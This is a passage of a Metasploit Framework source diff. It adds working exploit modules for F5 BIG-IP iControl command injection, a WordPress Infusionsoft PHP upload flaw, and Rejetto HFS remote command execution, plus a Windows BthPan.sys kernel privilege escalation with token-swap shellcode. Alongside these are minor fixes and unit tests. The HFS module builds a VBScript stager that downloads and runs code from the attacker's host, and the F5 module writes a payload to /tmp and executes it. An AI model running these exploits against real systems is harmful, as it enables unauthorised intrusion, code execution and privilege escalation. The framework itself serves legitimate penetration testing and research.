This module exploits an authenticated remote command execution
|
||||
vulnerability in the F5 BIGIP iControl API (and likely other
|
||||
F5 devices).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bperry' # Discovery, Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-2928'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html']
|
||||
],
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['F5 iControl', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Sep 17 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<SOAP-ENV:Body>
|
||||
<n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => get_hostname,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
|
||||
res.body =~ /y:string">(.*)<\/return/
|
||||
hostname = $1
|
||||
send_cmd("whoami")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => get_hostname,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
|
||||
res.body =~ /y:string">(.*)<\/return/
|
||||
new_hostname = $1
|
||||
|
||||
if new_hostname == "root.a.b"
|
||||
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<SOAP-ENV:Body>
|
||||
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
|
||||
<hostname>#{hostname}</hostname>
|
||||
</n1:set_hostname>
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>
|
||||
}
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def send_cmd(cmd)
|
||||
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<SOAP-ENV:Body>
|
||||
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
|
||||
<hostname>`#{cmd}`.a.b</hostname>
|
||||
</n1:set_hostname>
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>
|
||||
}
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
filename = Rex::Text.rand_text_alpha_lower(5)
|
||||
|
||||
print_status('Sending payload in chunks, might take a small bit...')
|
||||
i = 0
|
||||
while i < payload.encoded.length
|
||||
cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}"
|
||||
send_cmd(cmd)
|
||||
i = i + 5
|
||||
end
|
||||
|
||||
print_status('Triggering payload...')
|
||||
|
||||
send_cmd("sh /tmp/#{filename}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
|
||||
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
|
||||
upload and remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'g0blin', # Vulnerability Discovery
|
||||
'us3r777 <us3r777@n0b0.so>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6446'],
|
||||
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
|
||||
['WPVDB', '7634']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
|
||||
'DisclosureDate' => 'Sep 25 2014',
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||
'Infusionsoft', 'utilities', 'code_generator.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'fileNamePattern' => php_pagename,
|
||||
'fileTemplate' => payload.encoded
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
|
||||
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
|
||||
register_files_for_cleanup(php_pagename)
|
||||
else
|
||||
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling payload ...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||
'Infusionsoft', 'utilities', php_pagename)
|
||||
}, 2)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Rejetto HttpFileServer Remote Command Execution",
|
||||
'Description' => %q{
|
||||
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
|
||||
poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by
|
||||
using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
|
||||
over Windows XP SP3, Windows 7 SP1 and Windows 8.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
|
||||
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6287'],
|
||||
['OSVDB', '111386'],
|
||||
['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
|
||||
['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DisclosureDate' => "Sep 11 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
|
||||
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
})
|
||||
|
||||
if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
|
||||
version = $1
|
||||
if Gem::Version.new(version) <= Gem::Version.new("2.3")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
print_status("#{peer} - Payload request received: #{req.uri}")
|
||||
exe = generate_payload_exe
|
||||
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
||||
send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
|
||||
# remove resource after serving 1st request as 'exec' execute 4x
|
||||
# during exploitation
|
||||
remove_resource(get_resource)
|
||||
end
|
||||
|
||||
def primer
|
||||
file_name = rand_text_alpha(rand(10)+5)
|
||||
file_ext = '.vbs'
|
||||
file_full_name = file_name + file_ext
|
||||
vbs_path = "%TEMP%\\#{file_full_name}"
|
||||
|
||||
vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
|
||||
vbs_code << "On Error Resume Next\x0d\x0a"
|
||||
vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
|
||||
vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
|
||||
vbs_code << "wsh.exit\x0d\x0a"
|
||||
vbs_code << "End If\x0d\x0a"
|
||||
vbs_code << "x.Send\x0d\x0a"
|
||||
vbs_code << "Execute x.responseText"
|
||||
|
||||
payloads = [
|
||||
"save|#{vbs_path}|#{vbs_code}",
|
||||
"exec|wscript.exe //B //NOLOGO #{vbs_path}"
|
||||
]
|
||||
|
||||
print_status("Sending a malicious request to #{target_uri.path}")
|
||||
payloads.each do |payload|
|
||||
send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
|
||||
})
|
||||
end
|
||||
register_file_for_cleanup(vbs_path)
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
# When the server stops due to our timeout, this is raised
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
|
||||
'Description' => %q{
|
||||
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
|
||||
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
|
||||
into an arbitrary location. This can be used by an attacker to overwrite
|
||||
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
|
||||
NtQueryIntervalProfile.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
|
||||
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows XP SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba,
|
||||
'_KPROCESS' => "\x44",
|
||||
'_TOKEN' => "\xc8",
|
||||
'_UPID' => "\x84",
|
||||
'_APLINKS' => "\x88"
|
||||
}
|
||||
]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-4971' ],
|
||||
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
|
||||
[ 'OSVDB', '109387' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 18 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def ring0_shellcode
|
||||
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
|
||||
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
|
||||
tokenswap << "\x00\x00\x00\x8B\x80\x88"
|
||||
tokenswap << "\x00\x00\x00\x2D\x88"
|
||||
tokenswap << "\x00\x00\x00\x39\x98\x84"
|
||||
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
|
||||
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
|
||||
tokenswap << [session.sys.process.getpid].pack('V')
|
||||
tokenswap << "\x8B\x80\x88\x00\x00\x00"
|
||||
tokenswap << "\x2D\x88\x00\x00\x00"
|
||||
tokenswap << "\x39\x98\x84\x00\x00\x00"
|
||||
tokenswap << "\x75\xED\x89\xB8\xC8"
|
||||
tokenswap << "\x00\x00\x00\x61\xC3"
|
||||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
|
||||
unless proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
return nil
|
||||
end
|
||||
vprint_good("#{address} is now writable")
|
||||
|
||||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
return nil
|
||||
end
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
|
||||
return address
|
||||
end
|
||||
|
||||
def disclose_addresses(t)
|
||||
addresses = {}
|
||||
|
||||
hal_dispatch_table = find_haldispatchtable
|
||||
return nil if hal_dispatch_table.nil?
|
||||
addresses['halDispatchTable'] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
||||
|
||||
vprint_status('Getting the hal.dll base address...')
|
||||
hal_info = find_sys_base('hal.dll')
|
||||
if hal_info.nil?
|
||||
vprint_error('Failed to disclose hal.dll base address')
|
||||
return nil
|
||||
end
|
||||
hal_base = hal_info[0]
|
||||
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
|
||||
|
||||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||||
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
||||
|
||||
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
||||
addresses
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
os = sysinfo["OS"]
|
||||
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
|
||||
|
||||
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
return Exploit::CheckCode::Safe unless handle
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
|
||||
end
|
||||
|
||||
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
|
||||
end
|
||||
|
||||
my_target = targets[0]
|
||||
print_status("Disclosing the HalDispatchTable address...")
|
||||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
|
||||
else
|
||||
print_good("Address successfully disclosed.")
|
||||
end
|
||||
|
||||
print_status("Storing the shellcode in memory...")
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode
|
||||
kernel_shell_address = 0x1
|
||||
|
||||
buf = "\x90" * 0x6000
|
||||
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
|
||||
buf[0x5000, kernel_shell.length] = kernel_shell
|
||||
|
||||
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
end
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
|
||||
end
|
||||
print_good("Privilege escalation successful!")
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length} bytes to memory and executing it...")
|
||||
unless execute_shellcode(p)
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -25,7 +25,7 @@ module Metasploit3
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell',
|
||||
['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
|
||||
],
|
||||
# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -25,7 +25,7 @@ module Metasploit3
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
'EDB' => '18226',
|
||||
['EDB', '18226']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post
|
|||
def community_strings
|
||||
comm_str = []
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Comunity Strings",
|
||||
'Header' => "Community Strings",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
|
@ -63,33 +63,30 @@ class Metasploit3 < Msf::Post
|
|||
if not comm_str.nil? and not comm_str.empty?
|
||||
comm_str.each do |c|
|
||||
|
||||
# comm_type is for human display, access_type is passed to the credential
|
||||
# code using labels consistent with the SNMP login scanner
|
||||
case registry_getvaldata(key,c)
|
||||
when 4
|
||||
comm_type = "READ ONLY"
|
||||
comm_type = 'READ ONLY'
|
||||
access_type = 'read-only'
|
||||
when 1
|
||||
comm_type = "DISABLED"
|
||||
comm_type = 'DISABLED'
|
||||
access_type = 'disabled'
|
||||
when 2
|
||||
comm_type = "NOTIFY"
|
||||
comm_type = 'NOTIFY'
|
||||
access_type = 'notify'
|
||||
when 8
|
||||
comm_type = "READ & WRITE"
|
||||
comm_type = 'READ & WRITE'
|
||||
access_type = 'read-write'
|
||||
when 16
|
||||
comm_type = "READ CREATE"
|
||||
comm_type = 'READ CREATE'
|
||||
access_type = 'read-create'
|
||||
end
|
||||
|
||||
# Save data to table
|
||||
tbl << [c,comm_type]
|
||||
|
||||
# Save Community Strings to DB
|
||||
report_auth_info(
|
||||
:host => session.sock.peerhost,
|
||||
:port => 161,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:user => '',
|
||||
:pass => c,
|
||||
:type => "snmp.community",
|
||||
:duplicate_ok => true
|
||||
)
|
||||
register_creds(session.session_host, 161, '', c, 'snmp', access_type)
|
||||
end
|
||||
print_status("")
|
||||
|
||||
|
@ -116,21 +113,13 @@ class Metasploit3 < Msf::Post
|
|||
if not trap_hosts.nil? and not trap_hosts.empty?
|
||||
trap_hosts.each do |c|
|
||||
print_status("Community Name: #{c}")
|
||||
session.framework.db.report_auth_info(
|
||||
:host => session.sock.peerhost,
|
||||
:port => 161,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:user => '',
|
||||
:pass => c,
|
||||
:type => "snmp.community",
|
||||
:duplicate_ok => true
|
||||
)
|
||||
|
||||
t_comm_key = key+"\\"+c
|
||||
registry_enumvals(t_comm_key).each do |t|
|
||||
print_status("\tDestination: " + registry_getvaldata(t_comm_key,t))
|
||||
trap_dest = registry_getvaldata(t_comm_key,t)
|
||||
print_status("\tDestination: #{trap_dest}")
|
||||
register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap')
|
||||
end
|
||||
|
||||
end
|
||||
else
|
||||
print_status("No Traps are configured")
|
||||
|
@ -152,4 +141,40 @@ class Metasploit3 < Msf::Post
|
|||
print_status("\tCommunity Strings can be accessed from any host")
|
||||
end
|
||||
end
|
||||
|
||||
def register_creds(client_ip, client_port, user, pass, service_name, access_type)
|
||||
# Build service information
|
||||
service_data = {
|
||||
address: client_ip,
|
||||
port: client_port,
|
||||
service_name: service_name,
|
||||
protocol: 'udp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Build credential information
|
||||
credential_data = {
|
||||
access_level: access_type,
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
username: user,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
|
|
2
msfcli
2
msfcli
|
@ -428,7 +428,7 @@ class Msfcli
|
|||
|
||||
def show_actions(m)
|
||||
readable = Msf::Serializer::ReadableText
|
||||
$stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent))
|
||||
$stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent))
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -136,13 +136,11 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/)
|
|||
fmt = 'java' if (cmd =~ /^b$/)
|
||||
fmt = 'raw' if (cmd =~ /^w$/)
|
||||
fmt = 'python' if (cmd =~ /^n$/)
|
||||
enc = options['ENCODER']
|
||||
|
||||
begin
|
||||
buf = payload.generate_simple(
|
||||
'Format' => fmt,
|
||||
'Options' => options,
|
||||
'Encoder' => enc)
|
||||
'Options' => options)
|
||||
rescue
|
||||
$stderr.puts "Error generating payload: #{$!}"
|
||||
exit
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/jenkins'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Jenkins do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/ole'
|
||||
|
||||
describe Rex::OLE::CLSID do
|
||||
|
||||
let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" }
|
||||
|
||||
subject(:clsid) do
|
||||
described_class.new(sample_clsid)
|
||||
end
|
||||
|
||||
describe "#initialize" do
|
||||
subject(:clsid_class) do
|
||||
described_class.allocate
|
||||
end
|
||||
|
||||
it "returns the buf value" do
|
||||
expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid)
|
||||
end
|
||||
|
||||
context "when buf is nil" do
|
||||
it "returns padding" do
|
||||
expect(clsid_class.send(:initialize)).to eq("\x00" * 16)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#pack" do
|
||||
it "returns the buf field" do
|
||||
expect(clsid.pack).to eq(sample_clsid)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "returns printable clsid" do
|
||||
Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff')
|
||||
end
|
||||
|
||||
context "when buf is nil" do
|
||||
it "raises NoMethodError" do
|
||||
clsid.instance_variable_set(:@buf, nil)
|
||||
expect { clsid.to_s }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf is shorter than 16 bytes" do
|
||||
it "raises TypeError" do
|
||||
clsid.instance_variable_set(:@buf, '')
|
||||
expect { clsid.to_s }.to raise_error(TypeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,406 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/ole'
|
||||
|
||||
describe Rex::OLE::Util do
|
||||
|
||||
describe ".Hexify32array" do
|
||||
subject(:hex_array) { described_class.Hexify32array(arr) }
|
||||
|
||||
context "when arr is empty" do
|
||||
let(:arr) { [] }
|
||||
it "returns empty string" do
|
||||
is_expected.to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when arr is filled" do
|
||||
let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] }
|
||||
|
||||
it "returns an string with the hexify array" do
|
||||
is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".Printable" do
|
||||
subject(:printable_buf) { described_class.Printable(buf) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
it "returns empty string" do
|
||||
is_expected.to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf only contains printable chars" do
|
||||
let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' }
|
||||
|
||||
it "returns the same string" do
|
||||
is_expected.to eq(buf)
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf contains no printable chars" do
|
||||
let(:buf) { "abcde\x88" }
|
||||
|
||||
it "returns hex representation for non printable chars" do
|
||||
is_expected.to eq('abcde\\x88')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".set_endian" do
|
||||
subject(:set_endian) { described_class.set_endian(endian) }
|
||||
